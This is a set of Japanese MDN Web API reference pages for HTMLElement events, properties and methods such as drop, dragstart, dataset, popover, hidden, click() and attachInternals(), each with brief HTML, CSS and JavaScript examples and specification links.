**`drop`** イベントは、要素または選択されたテキストが、妥当なドロップターゲットにドロップされたときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("drop", (event) => {});

ondrop = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### 最小限のドラッグ＆ドロップの例

この例では、コンテナーの中にドラッグ可能な要素を置いています。要素を掴んで、他のコンテナーの上にドラッグし、そして放してみましょう。

ここでは、 3 つのイベントハンドラーを使用しています。

* `dragstart` イベント ハンドラーでは、ユーザーがドラッグした要素へのリファレンスを取得します。
* ターゲットコンテナーの `dragover` イベントハンドラーでは、 `event.preventDefault()` を呼び出し、`drop` イベントを受信できるようにします。
* ドロップゾーンの `drop` イベントハンドラーでは、ドラッグ可能な要素を元のコンテナからドロップゾーンに移動する処理を行います。

ドラッグ＆ドロップのより完全な例については、`drag` イベントのページを参照してください。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```

#### JavaScript

```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // ドラッグ中の要素の参照を保存
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // ドロップできるように既定の動作を停止
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // 既定の動作（一部の要素でリンクとして開く）を行わないようにする。
  event.preventDefault();
  // ドラッグした要素を選択されたドロップターゲットに移動する
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondrop |
| HTML Standard # event-dnd-drop |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
* 他を対象としたこのイベント:
    + `Window`: `drop` イベント
    + `Document`: `drop` イベント
    + `SVGElement`: `drop` イベント


HTMLElement: dataset プロパティ - Web API

HTMLElement: dataset プロパティ
==========================

**`dataset`** は `HTMLElement` インターフェイスの読み取り専用プロパティで、要素に設定されたすべてのカスタムデータ属性 (`data-*`) への読み取り/書き込みアクセスを提供します。これは文字列のマップである (`DOMStringMap`) で、それぞれの `data-*` 属性の項目です。

**メモ:** `dataset` プロパティ自体は読み取ることができますが、直接書き込むことはできません。
 代わりに、すべての書き込みは `dataset` 内の個々のプロパティに対して行う必要があり、それは data 属性を表します。

また、 HTML の `data-*` 属性とそれに対応する DOM `dataset.プロパティ` は同じ名前にはなりませんが、次のように常に近いものになります。

HTML では

属性の名前は、 `data-` で始まります。文字、数字、ダッシュ (`-`)、ドット (`.`)、コロン (`:`)、アンダースコア (`_`) のみを入れることができます。 ASCII 大文字の `A` から `Z` は小文字に変換されます。

JavaScript では

カスタムデータ属性のプロパティ名は、同じ HTML 属性の名前から `data-` の接頭辞を除いたものですが、そのプロパティのキャメルケース (camelCase) の名前であり、単一のダッシュ (`-`) を除いたものです。

以下の情報に加えて、データ属性の使用の記事に、HTML データ属性の使用方法に関するガイドがあります。

### 名前の変換

ダッシュスタイルからキャメルケースへの変換

カスタムデータ属性名は、次のルールに従って `DOMStringMap` 項目のキーに変換されます。

1. すべての ASCII の大文字 (`A` から `Z` まで) を小文字にします。
2. 接頭辞の `data-` を（ダッシュを含め）削除します。
3. ダッシュ (`U+002D`) に ASCII 小文字の `a` から `z` が続く場合、ダッシュを削除し、その文字を対応する大文字に変換します。
4. 他の文字 (他のダッシュを含む) は変更しません。

キャメルケースからダッシュスタイルへの変換

キーを属性名にマッピングする逆の変換では、以下のように次のルールが使用されます。

1. **制約事項:** 変換前に置いて、ダッシュの直後に ASCII 小文字 `a` から `z` を続けてはなりません。
2. 接頭辞として `data-` が追加されます。
3. ASCII 大文字の `A` から `Z` は、ダッシュと、その後に対応する小文字が続くものに変換されます。
4. 他の文字は変更しません。

例えば、`data-abc-def` という名前の属性は、キー `abcDef` に対応します。

### 値へのアクセス

* 属性は dataset のオブジェクトプロパティのようにキャメルケース名（キー）を使用して、 `element.dataset.keyname` のように設定したり読み取ったりすることができます。
* 属性はブラケット構文を使用して、 `element.dataset['keyname']` のように設定したり読み取ったりすることもできます。
* `in` 演算子を使用して、特定の属性が存在するかどうかを確認できます。
### 値の設定

* 属性が設定されると、その値は常に文字列に変換されます。
 例えば、 `element.dataset.example = null` は `data-example="null"` に変換されます。
* 属性を削除する場合は、`delete` 演算子が使用できます。
### 値

`DOMStringMap` です。

例
-

```html
<div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth>
  Carina Anand
</div>
```

```js
const el = document.querySelector("#user");

// el.id === 'user'
// el.dataset.id === '1234567890'
// el.dataset.user === 'carinaanand'
// el.dataset.dateOfBirth === ''

// データ属性の設定
el.dataset.dateOfBirth = "1960-10-03";
// JS での結果: el.dataset.dateOfBirth === '1960-10-03'
// HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth="1960-10-03">Carina Anand</div>

delete el.dataset.dateOfBirth;
// JS での結果: el.dataset.dateOfBirth === undefined
// HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand">Carina Anand</div>

if (!("someDataAttr" in el.dataset)) {
  el.dataset.someDataAttr = "mydata";
  // JS での結果: 'someDataAttr' in el.dataset === true
  // HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand" data-some-data-attr="mydata">Carina Anand</div>
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-dataset-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* HTML の `data-*` クラスのグローバル属性
* データ属性の使用
* `Element.getAttribute()` および `Element.setAttribute()`


HTMLElement: title プロパティ - Web API

HTMLElement: title プロパティ
========================

**`HTMLElement.title`** プロパティは、要素のタイトルを表します。 通常、テキストは、マウスがノード上にあるときに「ツールチップ」ポップアップに表示されます。

値
-

文字列です。

例
-

```js
const link = document.createElement("a");
link.innerText = "ブドウ";
link.href = "https://ja.wikipedia.org/wiki/ブドウ";
link.title = "ブドウに関するウィキペディアのページ";
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-title |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* HTML の **title** グローバル属性


HTMLElement: copy イベント - Web API

HTMLElement: copy イベント
======================

**`copy`** イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を行おうとした時に発行されます。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("copy", (event) => {});

oncopy = (event) => {};
```

イベント型
-----

`ClipboardEvent` です。 `Event` を継承しています。

Event

ClipboardEventイベントプロパティ
---------

*親である `Event` から継承したプロパティもあります。*

`ClipboardEvent.clipboardData` 読取専用

`DataTransfer` オブジェクトで、ユーザーが行った `cut`, `copy`, `paste` 操作によって影響されたデータと MIME タイプが入ります。

例
-

この例では、 `<textarea>` からのすべてのコピーと貼り付けをブロックします。

### HTML

```html
<h3>このテキストエリアで実行してみる</h3>
<textarea id="editor" rows="3">
このフィールドにテキストをコピー＆ペーストしてみてください。
</textarea>

<h3>ログ:</h3>
<p id="log"></p>
```

### JavaScript

```js
const log = document.getElementById("log");

function logCopy(event) {
  log.innerText = `コピーがブロックされました。\n${log.innerText}`;
  event.preventDefault();
}

function logPaste(event) {
  log.innerText = `貼り付けがブロックされました。\n${log.innerText}`;
  event.preventDefault();
}

const editor = document.getElementById("editor");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### 結果

仕様書
---

| Specification |
| --- |
| Clipboard API and events # clipboard-event-copy |
| HTML Standard # handler-oncopy |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 関連イベント
    + `HTMLElement.cut_event`
    + `HTMLElement.paste_event`


HTMLElement: dragenter イベント - Web API

HTMLElement: dragenter イベント
===========================

`dragenter` イベントは、ドラッグ中のイベントやテキストの選択範囲が、妥当なドロップターゲットに入ったときに発生します。

ターゲットのオブジェクトは*ユーザーによる直接の選択範囲*（ドロップターゲットとしてユーザーによって直接示された要素）、または `<body>` 要素です。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("dragenter", (event) => {});

ondragenter = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### dragenter のドロップゾーンのスタイル付け

この例では、コンテナーの中にドラッグ可能な要素を入れています。この要素を掴んで、他のコンテナーの上にドラッグし、そして放してみましょう。

ドラッグ可能な要素がコンテナーの上にある間、 `dragenter` イベントを待ち受けて、他のコンテナーの背景を紫色にし、ドラッグ可能な要素がコンテナーにドロップされることを知らせます。

ドラッグ＆ドロップの完全な例については、`drag` イベントのページを参照してください。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```

#### JavaScript

```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // ドラッグ可能な要素がドロップ先に入ったときに、ドロップ先の候補を強調表示する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // ドラッグ可能な要素がドロップ先から離れたときに、ドロップ先の候補の背景をリセットする
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```

#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragenter |
| HTML Standard # event-dnd-dragenter |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragenter` イベント
    + `Document`: `dragenter` イベント
    + `SVGElement`: `dragenter` イベント


HTMLElement: load イベント - Web API

HTMLElement: load イベント
======================

**`load`** イベントは、リソースを含む要素において、そのリソースが完全に読み込まれたときに発行されます。今のところ、対応している HTML 要素は、`<body>`、`<embed>`、`<iframe>`、`<img>`、`<link>`、`<object>`、`<script>`、`<style>`、`<track>` です。

**メモ:** 実際には `load` イベントは、`HTMLBodyElement` においては、 `window.onload` イベントの別名です。従って、`load` イベントは `<body>` 要素においては、その文書のすべてのリソースが読み込まれたかエラーになったときに、一度だけ発生します。しかし、わかりやすくするために、イベントハンドラーは `HTMLBodyElement` ではなく、`window` オブジェクトに直接取り付けることが推奨されます。

このイベtのはキャンセル不可で、バブリングしません。

構文
--

このイベント名を `addEventListener()` 等のメソッドで使用するか、イベントハンドラープロパティを設定するかしてください。

```js
elt.addEventListener("load", (event) => { ... });
// または
elt.onload = (event) => { ... };
```

イベント型
-----

一般的な `Event` です。

例
-

この例では、`<img>` 要素がリソースの読み込みに成功するたびに画面へ出力されます。

### HTML

```html
<img id="image" src="favicon144.png" alt="MDN logo" width="72" />
<div><button onclick="reload()">Reload</button></div>
```

### JavaScript

```js
const image = document.getElementById("image");
image.onload = () => {
  document.body.innerHTML += "<div>loaded!</div>";
};

function reload() {
  image.src = "favicon144.png";
}
```

### 結果

仕様書
---

#### No specification found

No specification data found for `api.HTMLElement.load_event`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 関連イベント:
    + Window: `load` イベント
    + Window: `error` イベント


HTMLElement: dragstart イベント - Web API

HTMLElement: dragstart イベント
===========================

`dragstart` イベントは、ユーザーが要素や選択されたテキストをドラッグし始めたときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("dragstart", (event) => {});

ondragstart = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ開始時に半透明にする

この例では、コンテナーの中にドラッグ可能な要素を入れています。要素を掴んでドラッグし、そして放してみましょう。

`dragstart` イベントを待ち受けすることで、ドラッグしている間、要素を半透明にします。

ドラッグ＆ドロップのより完全な例については、`drag` イベントのページを参照してください。

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});
```

#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragstart` イベント
    + `Document`: `dragstart` イベント
    + `SVGElement`: `dragstart` イベント


HTMLElement: dragend イベント - Web API

HTMLElement: dragend イベント
=========================

`dragend` イベントは、ドラッグ操作が終わろうとしているとき（マウスボタンを離したり、エスケープキーを押したりしたとき）に発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。

```js
addEventListener("dragend", (event) => {});

ondragend = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ終了時に不透明度をリセットする

この例では、コンテナーの中にドラッグ可能な要素を入れています。要素を掴んで、ドラッグし、そして放してみましょう。

ドラッグしている間は要素を半透明にし、放したときに要素の不透明度をリセットするために `dragend` イベントを待ち受けます。

ドラッグ＆ドロップの完全な例については、 `drag` イベントのページを参照してください。

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});
```

#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragend |
| HTML Standard # event-dnd-dragend |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragend` イベント
    + `Document`: `dragend` イベント
    + `SVGElement`: `dragend` イベント


HTMLElement: popover プロパティ - Web API

HTMLElement: popover プロパティ
==========================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`popover`** は `HTMLElement` インターフェイスのプロパティで、要素のポップオーバー状態（`"auto"` または `"manual"`）を JavaScript から取得したり設定したりします。機能検出に使用することもできます。

これは、HTML の `popover` グローバル属性の値を反映します。

値
-

列挙値です。取りうる値は次の通りです。

* `"auto"`: 自動状態になります。
    + ポップオーバーは「簡単に解除」することができます。これは、ポップオーバーの外をクリックするか、`Esc` キーを押すことで非表示にすることができます。
    + 通常、同時に表示できるポップオーバーは 1 つだけです。既に表示されているポップオーバーがあるときに 2 つ目を表示させると、1 つ目が非表示になります。このルールの例外は、入れ子の自動ポップオーバーがあるときです。詳しくは入れ子のポップオーバーを参照してください。
* `"manual"`: 手動状態になります。
    + ポップオーバーは「簡単に解除」することができませんが、宣言的な表示/非表示/トグルボタンは動作します。
    + 複数の独立したポップオーバーを同時に表示することができます。
例
-

### 機能検出

`popover` 属性を使用して、ポップオーバー API の機能を検出するすることができます。

```js
function supportsPopover() {
  return HTMLElement.prototype.hasOwnProperty("popover");
}
```

### ポップオーバーをプログラムで設定

```js
const popover = document.getElementById("mypopover");
const toggleBtn = document.getElementById("toggleBtn");

const popoverSupported = supportsPopover();

if (popoverSupported) {
  popover.popover = "auto";
  toggleBtn.popoverTargetElement = popover;
  toggleBtn.popoverTargetAction = "toggle";
} else {
  console.log("Popover API not supported.");
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-popover |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* ポップオーバー API


HTMLElement: isContentEditable プロパティ - Web API

HTMLElement: isContentEditable プロパティ
====================================

**`HTMLElement.isContentEditable`** は読み取り専用のプロパティで、論理値であり、要素の内容が編集可能な場合は `true` を返します。それ以外の場合は `false` を返します。

値
-

論理値です。

例
-

### HTML

```html
<p id="firstParagraph">編集不可能な段落</p>
<p id="secondParagraph" contenteditable="true">編集可能な段落</p>

<p id="infoText1">最初の段落を編集できますか？</p>
<p id="infoText2">2 番目の段落を編集できますか？</p>
```

### JavaScript

```js
const firstParagraph = document.getElementById("firstParagraph");
const secondParagraph = document.getElementById("secondParagraph");

const infoText1 = document.getElementById("infoText1");
const infoText2 = document.getElementById("infoText2");

infoText1.textContent += " " + firstParagraph.isContentEditable;
infoText2.textContent += " " + secondParagraph.isContentEditable;
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-iscontenteditable-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement/contentEditable`
* `contenteditable` グローバル属性


HTMLElement: click() メソッド - Web API

HTMLElement: click() メソッド
=========================

**`HTMLElement.click()`** メソッドは、要素のマウスクリックをシミュレートします。

`click()` を対応している要素（`<input>` など）で使用すると、要素の click イベントが発行されます。 このイベントは、文書ツリー（またはイベントチェーン）の上位の要素にバブルアップし、click イベントを発生させます。

構文
--

```js
click()
```

### 引数

なし。

### 返値

なし (`undefined`)。

例
-

チェックボックスの上にマウスポインターを移動させたときのマウスクリックをシミュレートします。

### HTML

```html
<form>
  <input
 type="checkbox"
 id="myCheck"
 onmouseover="myFunction()"
 onclick="alert('click event occurred')" />
</form>
```

### JavaScript

```js
// マウスオーバーで、myFunction を実行する
function myFunction() {
  document.getElementById("myCheck").click();
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-click-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 関連するイベントハンドラー
    + `Element.onclick`
    + `Element.ondblclick`
    + `Element.onauxclick`


HTMLElement: hidden プロパティ - Web API

HTMLElement: hidden プロパティ
=========================

`HTMLElement` の **`hidden`** プロパティは、この要素の `hidden` 属性の値を反映します。

値
-

この属性には 3 つの値のうち 1 つを取ります。

`true`

この要素は非表示です。

`false`

この要素は非表示ではありません。これはこの属性の既定値です。

`"until-found"`

この要素は *hidden until found* で、隠されているが、ページ内検索で見つかったり、フラグメントナビゲーションで到達したりすると表示されることを意味します。

この属性の使い方の詳細は、このプロパティが反映する HTML の `hidden` 属性のページを参照してください。

例
-

ここでは、非表示のブロックを使用して、ユーザーが珍しい要求に同意した後に表示されるお礼のメッセージを含める例を示します。

### HTML

この HTML には 2 つのパネルがあります。1 つはようこそパネルで、ユーザーに素晴らしいことを尋ね、もう一方はフォローアップパネルで、初期状態では非表示です。

```html
<div id="welcome" class="panel">
  <h1>Foobar.com へようこそ！</h1>
  <p>[OK] をクリックすると、今日は素晴らしいと同意したことになります。</p>
  <button class="button" id="okButton">OK</button>
</div>

<div id="awesome" class="panel" hidden>
  <h1>ありがとう！</h1>
  <p>今日は素晴らしいと同意してくれてありがとう！</p>
</div>
```

### CSS

コンテンツは、以下の CSS を使用してスタイル設定されます。

```css
.panel {
  font:
    16px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  border: 1px solid #22d;
  padding: 12px;
  width: 500px;
  text-align: center;
}

.button {
  font:
    22px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  padding: 5px 36px;
}

h1 {
  margin-top: 0;
  font-size: 175%;
}
```

### JavaScript

この JavaScript はイベントリスナーを [OK] ボタンに追加し、これが "welcome" パネルを非表示にして "awesome" パネルを表示します。

```js
document.getElementById("okButton").addEventListener(
  "click",
  () => {
    document.getElementById("welcome").hidden = true;
    document.getElementById("awesome").hidden = false;
  },
  false,
);
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-hidden |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `hidden` 属性
* `display`


HTMLElement: attachInternals() メソッド - Web API

HTMLElement: attachInternals() メソッド
===================================

**`HTMLElement.attachInternals()`** メソッドは、 `ElementInternals` オブジェクトを返します。このメソッドにより、カスタム要素が HTML フォームに参加することができるようになります。 `ElementInternals` インターフェイスは、標準的な HTML フォーム要素と同じようにこれらの要素を扱うためのユーティリティを提供し、また、要素に対してアクセシビリティオブジェクトモデルを公開します。

構文
--

```js
attachInternals()
```

### 引数

なし。

### 返値

`ElementInternals` オブジェクト。

### 例外

`NotSupportedError` `DOMException`

この要素がカスタム要素でなかった場合に発生します。

`NotSupportedError` `DOMException`

この要素の定義の一部で「内部」の機能が無効になっていた場合に発生します。

`NotSupportedError` `DOMException`

同じ要素に対してこのメソッドを 2 度呼び出したときに発生します。

例
-

次の例では、カスタムフォームに関連する要素を `HTMLElement.attachInternals` で作成する方法を示しています。そして、 `ElementInternals.form` プロパティがコンソールに出力され、 `ElementInternals` オブジェクトがあることを実証しています。

```js
class CustomCheckbox extends HTMLElement {
  static formAssociated = true;

  constructor() {
    super();
    this.internals_ = this.attachInternals();
  }
  // …
}

window.customElements.define("custom-checkbox", CustomCheckbox);

let element = document.getElementById("custom-checkbox");
console.log(element.internals_.form);
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-attachinternals |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* More capable form controls
* Creating custom form controls with ElementInternals